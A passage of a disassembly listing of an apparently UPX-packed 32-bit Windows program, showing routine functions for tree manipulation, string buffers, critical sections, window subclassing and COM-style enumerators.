[eax] cmp byte ptr [edx+49h], 0 jnz short loc_4063E9 mov [edx+4], ecx loc_4063E9: ; CODE XREF: sub_4063D6+Ej mov edx, [ecx+4] mov [eax+4], edx mov edx, [esp+arg_0] mov edx, [edx+18h] cmp ecx, [edx+4] jnz short loc_406400 mov [edx+4], eax jmp short loc_40640E ; --------------------------------------------------------------------------- loc_406400: ; CODE XREF: sub_4063D6+23j mov edx, [ecx+4] cmp ecx, [edx] jnz short loc_40640B mov [edx], eax jmp short loc_40640E ; --------------------------------------------------------------------------- loc_40640B: ; CODE XREF: sub_4063D6+2Fj mov [edx+8], eax loc_40640E: ; CODE XREF: sub_4063D6+28j ; sub_4063D6+33j mov [eax], ecx mov [ecx+4], eax retn 4 sub_4063D6 endp ; =============== S U B R O U T I N E ======================================= sub_406416 proc near ; CODE XREF: sub_405CA8+D2p ; sub_405CA8+100p ... arg_0 = dword ptr 4 mov eax, [ecx] mov edx, [eax+8] mov [ecx], edx mov edx, [eax+8] cmp byte ptr [edx+49h], 0 jnz short loc_406429 mov [edx+4], ecx loc_406429: ; CODE XREF: sub_406416+Ej mov edx, [ecx+4] mov [eax+4], edx mov edx, [esp+arg_0] mov edx, [edx+18h] cmp ecx, [edx+4] jnz short loc_406440 mov [edx+4], eax jmp short loc_40644F ; --------------------------------------------------------------------------- loc_406440: ; CODE XREF: sub_406416+23j mov edx, [ecx+4] cmp ecx, [edx+8] jnz short loc_40644D mov [edx+8], eax jmp short loc_40644F ; --------------------------------------------------------------------------- loc_40644D: ; CODE XREF: sub_406416+30j mov [edx], eax loc_40644F: ; CODE XREF: sub_406416+28j ; sub_406416+35j mov [eax+8], ecx mov [ecx+4], eax retn 4 sub_406416 endp ; =============== S U B R O U T I N E ======================================= sub_406458 proc near ; CODE XREF: sub_418A96+6Dp push 50h call sub_40B45F xor edx, edx pop ecx cmp eax, edx jz short loc_406468 mov [eax], edx loc_406468: ; CODE XREF: sub_406458+Cj lea ecx, [eax+4] cmp ecx, edx jz short loc_406471 mov [ecx], edx loc_406471: ; CODE XREF: sub_406458+15j lea ecx, [eax+8] cmp ecx, edx jz short loc_40647A mov [ecx], edx loc_40647A: ; CODE XREF: sub_406458+1Ej mov byte ptr [eax+48h], 1 mov [eax+49h], dl retn sub_406458 endp ; =============== S U B R O U T I N E ======================================= sub_406482 proc near ; CODE XREF: sub_405CA8+52p push 8 mov eax, offset loc_41C3FC call sub_40C4A0 push 50h call sub_40B45F mov ebx, eax pop ecx mov [ebp-14h], ebx mov dword ptr [ebp-4], 1 test ebx, ebx jz short loc_4064DA mov eax, [ebp+8] push dword ptr [ebp+14h] mov [ebx], eax mov eax, [ebp+0Ch] mov [ebx+4], eax mov eax, [ebp+10h] lea edi, [ebx+10h] mov esi, edi mov [ebx+8], eax call sub_405AF0 mov esi, [ebp+14h] add esi, 20h push 6 add edi, 20h pop ecx rep movsd mov byte ptr [ebx+48h], 0 mov byte ptr [ebx+49h], 0 loc_4064DA: ; CODE XREF: sub_406482+22j mov eax, ebx call sub_40C50C retn 10h sub_406482 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4064E4 proc near ; DATA XREF: UPX0:00427714o push dword ptr [ebp-14h] call sub_40AC11 pop ecx push 0 push 0 call sub_40C03B int 3 ; Trap to Debugger sub_4064E4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064F7 proc near ; CODE XREF: sub_406028+2Bp ; sub_406028+33p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx cmp [esi+14h], edi jnb short loc_406506 call sub_40ABCE loc_406506: ; CODE XREF: sub_4064F7+8j mov eax, [esi+14h] sub eax, edi cmp eax, [ebp+arg_0] jnb short loc_406513 mov [ebp+arg_0], eax loc_406513: ; CODE XREF: sub_4064F7+17j cmp [ebp+arg_0], 0 jbe short loc_40656C mov ecx, [esi+18h] push ebx lea edx, [esi+4] cmp ecx, 8 jb short loc_40652C mov ebx, [edx] mov [ebp+var_4], ebx jmp short loc_40652F ; --------------------------------------------------------------------------- loc_40652C: ; CODE XREF: sub_4064F7+2Cj mov [ebp+var_4], edx loc_40652F: ; CODE XREF: sub_4064F7+33j cmp ecx, 8 jb short loc_406536 mov edx, [edx] loc_406536: ; CODE XREF: sub_4064F7+3Bj mov ebx, [ebp+arg_0] sub eax, ebx add eax, eax push eax mov [ebp+var_8], edx mov edx, [ebp+var_4] lea eax, [edi+ebx] lea eax, [edx+eax*2] push eax mov eax, [ebp+var_8] sub ecx, edi add ecx, ecx push ecx lea eax, [eax+edi*2] push eax call sub_40AC49 mov ecx, [esi+14h] add esp, 10h sub ecx, ebx mov eax, esi call sub_405B16 pop ebx loc_40656C: ; CODE XREF: sub_4064F7+20j mov eax, esi leave retn 4 sub_4064F7 endp ; =============== S U B R O U T I N E ======================================= sub_406572 proc near ; CODE XREF: sub_4060AE+1Cp push 8 mov eax, offset loc_41C2DA call sub_40C4A0 mov esi, [ebp+8] mov edi, [ebp+0Ch] or edi, 7 cmp edi, 7FFFFFFEh jbe short loc_406594 mov edi, [ebp+0Ch] jmp short loc_4065BB ; --------------------------------------------------------------------------- loc_406594: ; CODE XREF: sub_406572+1Bj xor edx, edx push 3 mov eax, edi pop ebx div ebx mov ecx, [esi+18h] mov [ebp-14h], ecx shr dword ptr [ebp-14h], 1 mov edx, [ebp-14h] cmp eax, edx jnb short loc_4065BB mov eax, 7FFFFFFEh sub eax, edx cmp ecx, eax ja short loc_4065BB lea edi, [edx+ecx] loc_4065BB: ; CODE XREF: sub_406572+20j ; sub_406572+39j ... and dword ptr [ebp-4], 0 lea ecx, [edi+1] call sub_40668D mov ebx, eax jmp short loc_4065F2 ; --------------------------------------------------------------------------- mov eax, [ebp+0Ch] lea ecx, [eax+1] mov [ebp-10h], esp mov [ebp+0Ch], eax mov byte ptr [ebp-4], 2 call sub_40668D mov [ebp-14h], eax mov eax, offset loc_4065E9 retn ; --------------------------------------------------------------------------- loc_4065E9: ; DATA XREF: sub_406572+71o mov esi, [ebp+8] mov edi, [ebp+0Ch] mov ebx, [ebp-14h] loc_4065F2: ; CODE XREF: sub_406572+57j cmp dword ptr [ebp+10h], 0 jbe short loc_406617 cmp dword ptr [esi+18h], 8 jb short loc_406603 mov eax, [esi+4] jmp short loc_406606 ; --------------------------------------------------------------------------- loc_406603: ; CODE XREF: sub_406572+8Aj lea eax, [esi+4] loc_406606: ; CODE XREF: sub_406572+8Fj push eax lea eax, [edi+1] push eax mov eax, [ebp+10h] push ebx call sub_406F3F add esp, 0Ch loc_406617: ; CODE XREF: sub_406572+84j push 0 push 1 call sub_4055BC mov ecx, [ebp+10h] mov eax, esi mov [esi+4], ebx mov [esi+18h], edi call sub_405B16 call sub_40C50C retn 0Ch sub_406572 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_406638 proc near ; DATA XREF: UPX0:004274E4o mov esi, [ebp+8] xor edi, edi push edi push 1 call sub_4055BC push edi push edi call sub_40C03B int 3 ; Trap to Debugger sub_406638 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40664D proc near ; CODE XREF: sub_405BF2+49p ; sub_40664D+17p arg_0 = dword ptr 4 push ebx push ebp mov ebp, [esp+8+arg_0] cmp byte ptr [ebp+49h], 0 push edi mov ebx, ecx mov edi, ebp jnz short loc_406687 push esi loc_40665F: ; CODE XREF: sub_40664D+37j push dword ptr [edi+8] mov ecx, ebx call sub_40664D mov edi, [edi] push 0 push 1 lea esi, [ebp+10h] call sub_4055BC push ebp call sub_40AC11 cmp byte ptr [edi+49h], 0 pop ecx mov ebp, edi jz short loc_40665F pop esi loc_406687: ; CODE XREF: sub_40664D+Fj pop edi pop ebp pop ebx retn 4 sub_40664D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40668D proc near ; CODE XREF: sub_406572+50p ; sub_406572+69p var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h test ecx, ecx ja short loc_4066A5 xor ecx, ecx loc_406699: ; CODE XREF: sub_40668D+22j lea eax, [ecx+ecx] push eax call sub_40B45F pop ecx leave retn ; --------------------------------------------------------------------------- loc_4066A5: ; CODE XREF: sub_40668D+8j or eax, 0FFFFFFFFh xor edx, edx div ecx cmp eax, 2 jnb short loc_406699 and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax lea ecx, [ebp+var_10] call sub_40ACB7 push offset dword_426E80 lea eax, [ebp+var_10] push eax mov [ebp+var_10], offset off_41D4DC call sub_40C03B int 3 ; Trap to Debugger sub_40668D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4066D7 proc near ; CODE XREF: sub_401441+3Cp ; sub_401652+71p ... push esi mov esi, ecx cmp byte ptr [esi+4], 0 jz short loc_4066EC push dword ptr [esi] call dword_41D204 ; RtlLeaveCriticalSection mov byte ptr [esi+4], 0 loc_4066EC: ; CODE XREF: sub_4066D7+7j pop esi retn sub_4066D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4066EE proc near ; CODE XREF: sub_401BB2+152p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] sub esp, 0Ch push esi push edi mov edi, [eax] mov eax, [ebx] test eax, eax jnz short loc_406736 test edi, edi jz short loc_40672E loc_406705: ; CODE XREF: sub_4066EE+4Aj xor al, al loc_406707: ; CODE XREF: sub_4066EE+91j test al, al jnz short loc_40672E mov eax, [ebp+arg_0] mov eax, [eax] mov esi, [ebx] and dword ptr [ebx], 0 test eax, eax jz short loc_406724 mov ecx, [eax] push ebx push offset dword_4243B4 push eax call dword ptr [ecx] loc_406724: ; CODE XREF: sub_4066EE+29j test esi, esi jz short loc_40672E mov eax, [esi] push esi call dword ptr [eax+8] loc_40672E: ; CODE XREF: sub_4066EE+15j ; sub_4066EE+1Bj ... mov eax, [ebx] pop edi pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_406736: ; CODE XREF: sub_4066EE+11j test edi, edi jz short loc_406705 and [ebp+var_8], 0 and [ebp+var_C], 0 mov ecx, [eax] lea edx, [ebp+var_8] push edx mov esi, offset dword_424264 push esi push eax call dword ptr [ecx] mov eax, [edi] lea ecx, [ebp+var_C] push ecx push esi push edi call dword ptr [eax] mov eax, [ebp+var_C] cmp [ebp+var_8], eax setz [ebp+var_1] test eax, eax jz short loc_40676F mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40676F: ; CODE XREF: sub_4066EE+79j mov eax, [ebp+var_8] test eax, eax jz short loc_40677C mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40677C: ; CODE XREF: sub_4066EE+86j mov al, [ebp+var_1] jmp short loc_406707 sub_4066EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406781 proc near ; DATA XREF: UPX0:0042DCE0o var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx mov eax, offset dword_42E38C push esi push eax xor ebx, ebx mov [ebp+var_8], eax call dword_41D1CC ; RtlEnterCriticalSection mov esi, dword_42E3A4 mov [ebp+var_4], 1 test esi, esi jz short loc_4067D2 call dword_41D1C4 ; GetCurrentThreadId xor ecx, ecx loc_4067AF: ; CODE XREF: sub_406781+3Aj cmp [esi+4], eax jz short loc_4067BF mov ecx, esi mov esi, [esi+8] test esi, esi jnz short loc_4067AF jmp short loc_4067D2 ; --------------------------------------------------------------------------- loc_4067BF: ; CODE XREF: sub_406781+31j mov eax, [esi+8] test ecx, ecx jnz short loc_4067CD mov dword_42E3A4, eax jmp short loc_4067D0 ; --------------------------------------------------------------------------- loc_4067CD: ; CODE XREF: sub_406781+43j mov [ecx+8], eax loc_4067D0: ; CODE XREF: sub_406781+4Aj mov ebx, [esi] loc_4067D2: ; CODE XREF: sub_406781+24j ; sub_406781+3Cj lea ecx, [ebp+var_8] call sub_4066D7 test ebx, ebx jnz short loc_4067E2 xor eax, eax jmp short loc_406813 ; --------------------------------------------------------------------------- loc_4067E2: ; CODE XREF: sub_406781+5Bj mov esi, [ebp+arg_0] mov eax, [ebx] push edi push ebx mov ecx, ebx mov [ebx+4], esi call dword ptr [eax+8] lea edi, [ebx+8] call sub_4018DB mov ebx, [ebx+14h] push ebx push 0FFFFFFFCh push esi call dword_41D2B4 ; SetWindowLongW push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call ebx ; MulDiv pop edi loc_406813: ; CODE XREF: sub_406781+5Fj pop esi pop ebx leave retn 10h sub_406781 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406819 proc near ; DATA XREF: sub_404D56o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h mov ecx, [ebp+arg_C] push ebx mov ebx, [ebp+arg_8] push esi mov esi, [ebp+arg_0] mov edx, [esi+18h] mov eax, [esi+4] push edi mov edi, [ebp+arg_4] mov [ebp+var_18], ecx xor ecx, ecx push ecx mov [ebp+var_14], ecx mov [ebp+var_C], ecx mov [ebp+var_10], ecx lea ecx, [ebp+arg_0] push ecx push [ebp+arg_C] mov [ebp+arg_4], edx push ebx lea edx, [ebp+var_24] push edi mov [esi+18h], edx mov edx, [esi] push eax mov ecx, esi mov [ebp+var_8], 24h mov [ebp+var_4], 1 mov [ebp+var_24], eax mov [ebp+var_20], edi mov [ebp+var_1C], ebx call dword ptr [edx] test eax, eax jnz short loc_4068E8 cmp edi, 82h jz short loc_406895 push [ebp+arg_C] push ebx push edi push dword ptr [esi+4] push dword ptr [esi+20h] call dword_41D27C ; CallWindowProcW mov [ebp+arg_0], eax jmp short loc_4068E8 ; --------------------------------------------------------------------------- loc_406895: ; CODE XREF: sub_406819+64j mov eax, [esi+4] mov edi, dword_41D2CC push 0FFFFFFFCh push eax call edi ; dword_41D2CC push [ebp+arg_C] mov [ebp+arg_8], eax push ebx push 82h push dword ptr [esi+4] push dword ptr [esi+20h] call dword_41D27C ; CallWindowProcW mov [ebp+arg_0], eax mov eax, [esi+20h] cmp eax, dword_41D278 jz short loc_4068E4 mov eax, [esi+4] push 0FFFFFFFCh push eax call edi ; dword_41D2CC cmp eax, [ebp+arg_8] jnz short loc_4068E4 push dword ptr [esi+20h] push 0FFFFFFFCh push dword ptr [esi+4] call dword_41D2B4 ; SetWindowLongW loc_4068E4: ; CODE XREF: sub_406819+AEj ; sub_406819+BBj or dword ptr [esi+1Ch], 1 loc_4068E8: ; CODE XREF: sub_406819+5Cj ; sub_406819+7Aj mov eax, [esi+1Ch] test al, 1 jz short loc_40690F xor edx, edx cmp [ebp+arg_4], edx jnz short loc_40690F mov ecx, [esi+4] and eax, 0FFFFFFFEh mov [esi+1Ch], eax mov eax, [esi] push ecx mov ecx, esi mov [esi+4], edx mov [esi+18h], edx call dword ptr [eax+0Ch] jmp short loc_406915 ; --------------------------------------------------------------------------- loc_40690F: ; CODE XREF: sub_406819+D4j ; sub_406819+DBj mov eax, [ebp+arg_4] mov [esi+18h], eax loc_406915: ; CODE XREF: sub_406819+F4j mov eax, [ebp+arg_0] pop edi pop esi pop ebx leave retn 10h sub_406819 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40691F proc near ; CODE XREF: sub_404D0B+41p ; sub_404D5C+41p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = word ptr 20h push ebp mov ebp, esp push esi push edi lea esi, [ebx+8] push 0 xor eax, eax mov edi, esi call sub_4018DB test eax, eax jnz short loc_406942 push 0Eh call dword_41D1D0 ; RtlSetLastWin32Error loc_40693E: ; CODE XREF: sub_40691F+29j xor eax, eax jmp short loc_4069A5 ; --------------------------------------------------------------------------- loc_406942: ; CODE XREF: sub_40691F+15j xor edi, edi cmp [ebp+arg_18], di jz short loc_40693E mov eax, ebx call sub_401441 cmp [ebp+arg_14], edi jnz short loc_406962 test [ebp+arg_C], 40000000h jz short loc_406962 mov [ebp+arg_14], ebx loc_406962: ; CODE XREF: sub_40691F+35j ; sub_40691F+3Ej mov eax, [ebp+arg_4] cmp eax, edi jnz short loc_406971 mov eax, offset dword_42BA3C mov [ebp+arg_4], eax loc_406971: ; CODE XREF: sub_40691F+48j mov ecx, [eax+4] mov esi, [eax+0Ch] mov edx, [eax] mov eax, [eax+8] push edi push dword_42E350 sub esi, ecx push [ebp+arg_14] sub eax, edx push [ebp+arg_0] push esi push eax movzx eax, [ebp+arg_18] push ecx push edx push [ebp+arg_C] push [ebp+arg_8] push eax push [ebp+arg_10] call dword_41D290 ; CreateWindowExW loc_4069A5: ; CODE XREF: sub_40691F+21j pop edi pop esi pop ebp retn 1Ch sub_40691F endp ; =============== S U B R O U T I N E ======================================= sub_4069AB proc near ; CODE XREF: UPX0:00403B35p push 0Ch mov eax, offset loc_41C3DC call sub_40C4A0 mov ebx, [ebp+8] xor esi, esi cmp ebx, esi jnz short loc_4069C7 mov eax, 80004003h jmp short loc_406A37 ; --------------------------------------------------------------------------- loc_4069C7: ; CODE XREF: sub_4069AB+13j push 4Ch mov [ebx], esi mov dword ptr [ebp-18h], 8007000Eh mov [ebp-14h], esi mov [ebp-4], esi call sub_40B45F pop ecx cmp eax, esi jz short loc_4069EB mov esi, eax call sub_407031 mov esi, eax loc_4069EB: ; CODE XREF: sub_4069AB+35j or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_406A01 ; --------------------------------------------------------------------------- loc_4069F1: ; DATA XREF: UPX0:004276B4o or dword ptr [ebp-4], 0FFFFFFFFh mov eax, offset loc_4069FB retn ; --------------------------------------------------------------------------- loc_4069FB: ; DATA XREF: sub_4069AB+4Ao mov ebx, [ebp+8] mov esi, [ebp-14h] loc_406A01: ; CODE XREF: sub_4069AB+44j test esi, esi jz short loc_406A30 lea edi, [esi+2Ch] mov ecx, edi call sub_401154 test eax, eax jl short loc_406A17 mov byte ptr [edi+18h], 1 loc_406A17: ; CODE XREF: sub_4069AB+66j mov edi, eax test eax, eax jl short loc_406A1F xor edi, edi loc_406A1F: ; CODE XREF: sub_4069AB+70j test edi, edi jz short loc_406A33 mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax+4] xor esi, esi jmp short loc_406A33 ; --------------------------------------------------------------------------- loc_406A30: ; CODE XREF: sub_4069AB+58j mov edi, [ebp-18h] loc_406A33: ; CODE XREF: sub_4069AB+76j ; sub_4069AB+83j mov [ebx], esi mov eax, edi loc_406A37: ; CODE XREF: sub_4069AB+1Aj call sub_40C50C retn 4 sub_4069AB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_406A3F proc near ; CODE XREF: UPX0:00403B57p push 0Ch mov eax, offset loc_41C605 call sub_40C4A0 mov ebx, [ebp+8] xor esi, esi cmp ebx, esi jnz short loc_406A5B mov eax, 80004003h jmp short loc_406ACB ; --------------------------------------------------------------------------- loc_406A5B: ; CODE XREF: sub_406A3F+13j push 4Ch mov [ebx], esi mov dword ptr [ebp-18h], 8007000Eh mov [ebp-14h], esi mov [ebp-4], esi call sub_40B45F pop ecx cmp eax, esi jz short loc_406A7F mov esi, eax call sub_40707B mov esi, eax loc_406A7F: ; CODE XREF: sub_406A3F+35j or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_406A95 ; --------------------------------------------------------------------------- loc_406A85: ; DATA XREF: UPX0:00427A6Co or dword ptr [ebp-4], 0FFFFFFFFh mov eax, offset loc_406A8F retn ; --------------------------------------------------------------------------- loc_406A8F: ; DATA XREF: sub_406A3F+4Ao mov ebx, [ebp+8] mov esi, [ebp-14h] loc_406A95: ; CODE XREF: sub_406A3F+44j test esi, esi jz short loc_406AC4 lea edi, [esi+2Ch] mov ecx, edi call sub_401154 test eax, eax jl short loc_406AAB mov byte ptr [edi+18h], 1 loc_406AAB: ; CODE XREF: sub_406A3F+66j mov edi, eax test eax, eax jl short loc_406AB3 xor edi, edi loc_406AB3: ; CODE XREF: sub_406A3F+70j test edi, edi jz short loc_406AC7 mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax+4] xor esi, esi jmp short loc_406AC7 ; --------------------------------------------------------------------------- loc_406AC4: ; CODE XREF: sub_406A3F+58j mov edi, [ebp-18h] loc_406AC7: ; CODE XREF: sub_406A3F+76j ; sub_406A3F+83j mov [ebx], esi mov eax, edi loc_406ACB: ; CODE XREF: sub_406A3F+1Aj call sub_40C50C retn 4 sub_406A3F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40500B loc_406AD3: ; CODE XREF: sub_40500B+29j push 4 mov eax, offset loc_41BF15 call sub_40C46D mov esi, ecx mov [ebp-10h], esi and dword ptr [ebp-4], 0 test byte ptr [esi+14h], 2 jz short loc_406B10 mov edi, [esi+8] jmp short loc_406B02 ; --------------------------------------------------------------------------- loc_406AF3: ; CODE XREF: sub_40500B+1AFAj mov eax, [edi] test eax, eax jz short loc_406AFF mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406AFF: ; CODE XREF: sub_40500B+1AECj add edi, 4 loc_406B02: ; CODE XREF: sub_40500B+1AE6j cmp edi, [esi+0Ch] jnz short loc_406AF3 push dword ptr [esi+8] call sub_40B36B pop ecx loc_406B10: ; CODE XREF: sub_40500B+1AE1j or dword ptr [ebp-4], 0FFFFFFFFh mov esi, [esi+4] test esi, esi jz short loc_406B21 mov eax, [esi] push esi call dword ptr [eax+8] loc_406B21: ; CODE XREF: sub_40500B+1B0Ej call sub_40C50C retn ; END OF FUNCTION CHUNK FOR sub_40500B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B27 proc near ; DATA XREF: UPX0:00423FA4o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov edx, [ebp+arg_C] xor ecx, ecx cmp edx, ecx jz short loc_406B35 mov [edx], ecx loc_406B35: ; CODE XREF: sub_406B27+Aj push esi push edi mov edi, [ebp+arg_4] cmp edi, ecx jnz short loc_406B48 mov eax, 80070057h jmp loc_406BEC ; --------------------------------------------------------------------------- loc_406B48: ; CODE XREF: sub_406B27+15j push ebx cmp [ebp+arg_8], ecx jz loc_406BE6 xor ebx, ebx inc ebx cmp edi, ebx jz short loc_406B61 cmp edx, ecx jz loc_406BE6 loc_406B61: ; CODE XREF: sub_406B27+30j mov esi, [ebp+arg_0] cmp [esi+8], ecx jz short loc_406BDF mov eax, [esi+0Ch] cmp eax, ecx jz short loc_406BDF mov ecx, [esi+10h] test ecx, ecx jz short loc_406BDF and [ebp+arg_4], 0 sub eax, ecx sar eax, 2 cmp edi, eax jbe short loc_406B87 mov [ebp+arg_4], ebx loc_406B87: ; CODE XREF: sub_406B27+5Bj jb short loc_406B8B mov edi, eax loc_406B8B: ; CODE XREF: sub_406B27:loc_406B87j test edx, edx jz short loc_406B91 mov [edx], edi loc_406B91: ; CODE XREF: sub_406B27+66j mov ebx, [ebp+arg_8] jmp short loc_406BAF ; --------------------------------------------------------------------------- loc_406B96: ; CODE XREF: sub_406B27+8Aj mov eax, [esi+10h] mov ecx, ebx dec edi call sub_4070C5 mov [ebp+arg_0], eax test eax, eax jl short loc_406BB8 add ebx, 4 add dword ptr [esi+10h], 4 loc_406BAF: ; CODE XREF: sub_406B27+6Dj test edi, edi jnz short loc_406B96 mov eax, [ebp+arg_4] jmp short loc_406BEB ; --------------------------------------------------------------------------- loc_406BB8: ; CODE XREF: sub_406B27+7Fj mov esi, [ebp+arg_8] jmp short loc_406BCC ; --------------------------------------------------------------------------- loc_406BBD: ; CODE XREF: sub_406B27+A7j mov eax, [esi] test eax, eax jz short loc_406BC9 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406BC9: ; CODE XREF: sub_406B27+9Aj add esi, 4 loc_406BCC: ; CODE XREF: sub_406B27+94j cmp esi, ebx jb short loc_406BBD mov eax, [ebp+arg_C] test eax, eax jz short loc_406BDA and dword ptr [eax], 0 loc_406BDA: ; CODE XREF: sub_406B27+AEj mov eax, [ebp+arg_0] jmp short loc_406BEB ; --------------------------------------------------------------------------- loc_406BDF: ; CODE XREF: sub_406B27+40j ; sub_406B27+47j ... mov eax, 80004005h jmp short loc_406BEB ; --------------------------------------------------------------------------- loc_406BE6: ; CODE XREF: sub_406B27+25j ; sub_406B27+34j mov eax, 80004003h loc_406BEB: ; CODE XREF: sub_406B27+8Fj ; sub_406B27+B6j ... pop ebx loc_406BEC: ; CODE XREF: sub_406B27+1Cj pop edi pop esi pop ebp retn 10h sub_406B27 endp ; =============== S U B R O U T I N E ======================================= sub_406BF2 proc near ; DATA XREF: UPX0:00423FA8o arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] test esi, esi jnz short loc_406C02 mov eax, 80070057h jmp short loc_406C26 ; --------------------------------------------------------------------------- loc_406C02: ; CODE XREF: sub_406BF2+7j mov ecx, [esp+4+arg_0] mov edx, [ecx+10h] mov eax, [ecx+0Ch] sub eax, edx sar eax, 2 cmp esi, eax ja short loc_406C17 mov eax, esi loc_406C17: ; CODE XREF: sub_406BF2+21j lea edx, [edx+eax*4] mov [ecx+10h], edx xor ecx, ecx cmp esi, eax setnz cl mov eax, ecx loc_406C26: ; CODE XREF: sub_406BF2+Ej pop esi retn 8 sub_406BF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C2A proc near ; DATA XREF: UPX0:00423FB0o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push edi xor edi, edi mov [ebp+var_4], edi mov ebx, 80004003h cmp eax, edi jz loc_406CD2 mov [eax], edi lea eax, [ebp+var_8] push eax call sub_4070E8 mov ebx, eax cmp ebx, edi jl short loc_406CD2 push esi mov esi, [ebp+arg_0] test byte ptr [esi+14h], 2 jz short loc_406C76 mov eax, [esi] push esi mov [ebp+var_4], 1 mov [ebp+arg_0], esi call dword ptr [eax+4] lea eax, [ebp+arg_0] jmp short loc_406C79 ; --------------------------------------------------------------------------- loc_406C76: ; CODE XREF: sub_406C2A+35j lea eax, [esi+4] loc_406C79: ; CODE XREF: sub_406C2A+4Aj mov eax, [eax] push edi mov edi, [ebp+var_8] push eax push dword ptr [esi+0Ch] push dword ptr [esi+8] push edi call sub_406CDA test byte ptr [ebp+var_4], 1 mov ebx, eax jz short loc_406CA1 mov eax, [ebp+arg_0] test eax, eax jz short loc_406CA1 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406CA1: ; CODE XREF: sub_406C2A+68j ; sub_406C2A+6Fj test ebx, ebx jl short loc_406CC4 mov eax, [esi+10h] mov ebx, [ebp+arg_4] push offset dword_41EF34 mov [edi+10h], eax push edi mov eax, offset off_423EA4 call sub_4015BD mov ebx, eax test ebx, ebx jge short loc_406CD1 loc_406CC4: ; CODE XREF: sub_406C2A+79j test edi, edi jz short loc_406CD1 mov eax, [edi] push 1 mov ecx, edi call dword ptr [eax+1Ch] loc_406CD1: ; CODE XREF: sub_406C2A+98j ; sub_406C2A+9Cj pop esi loc_406CD2: ; CODE XREF: sub_406C2A+16j ; sub_406C2A+2Bj pop edi mov eax, ebx pop ebx leave retn 8 sub_406C2A endp ; =============== S U B R O U T I N E ======================================= sub_406CDA proc near ; CODE XREF: sub_403FBF+77p ; sub_406C2A+5Dp push 4 mov eax, offset loc_41C14B call sub_40C4A0 mov esi, [ebp+10h] mov ebx, [ebp+8] cmp dword ptr [ebp+18h], 3 jnz loc_406DAA and dword ptr [ebp-4], 0 mov eax, esi sub eax, [ebp+0Ch] xor ecx, ecx push 4 sar eax, 2 pop edx mul edx seto cl neg ecx or ecx, eax push ecx call sub_40AC06 or dword ptr [ebp-4], 0FFFFFFFFh pop ecx mov [ebx+8], eax jmp short loc_406D30 ; --------------------------------------------------------------------------- loc_406D20: ; DATA XREF: UPX0:0042719Co or dword ptr [ebp-4], 0FFFFFFFFh mov eax, offset loc_406D2A retn ; --------------------------------------------------------------------------- loc_406D2A: ; DATA XREF: sub_406CDA+4Ao mov ebx, [ebp+8] mov esi, [ebp+10h] loc_406D30: ; CODE XREF: sub_406CDA+44j mov eax, [ebx+8] mov [ebx+10h], eax test eax, eax jnz short loc_406D44 mov eax, 8007000Eh jmp loc_406DD0 ; --------------------------------------------------------------------------- loc_406D44: ; CODE XREF: sub_406CDA+5Ej mov edi, [ebp+0Ch] jmp short loc_406D61 ; --------------------------------------------------------------------------- loc_406D49: ; CODE XREF: sub_406CDA+89j mov ecx, [ebx+10h] mov eax, edi call sub_4070C5 mov [ebp+8], eax test eax, eax jl short loc_406D76 add dword ptr [ebx+10h], 4 add edi, 4 loc_406D61: ; CODE XREF: sub_406CDA+6Dj cmp edi, esi jnz short loc_406D49 sub esi, [ebp+0Ch] mov eax, [ebx+8] sar esi, 2 lea eax, [eax+esi*4] mov [ebx+0Ch], eax jmp short loc_406DB3 ; --------------------------------------------------------------------------- loc_406D76: ; CODE XREF: sub_406CDA+7Ej mov esi, [ebx+8] jmp short 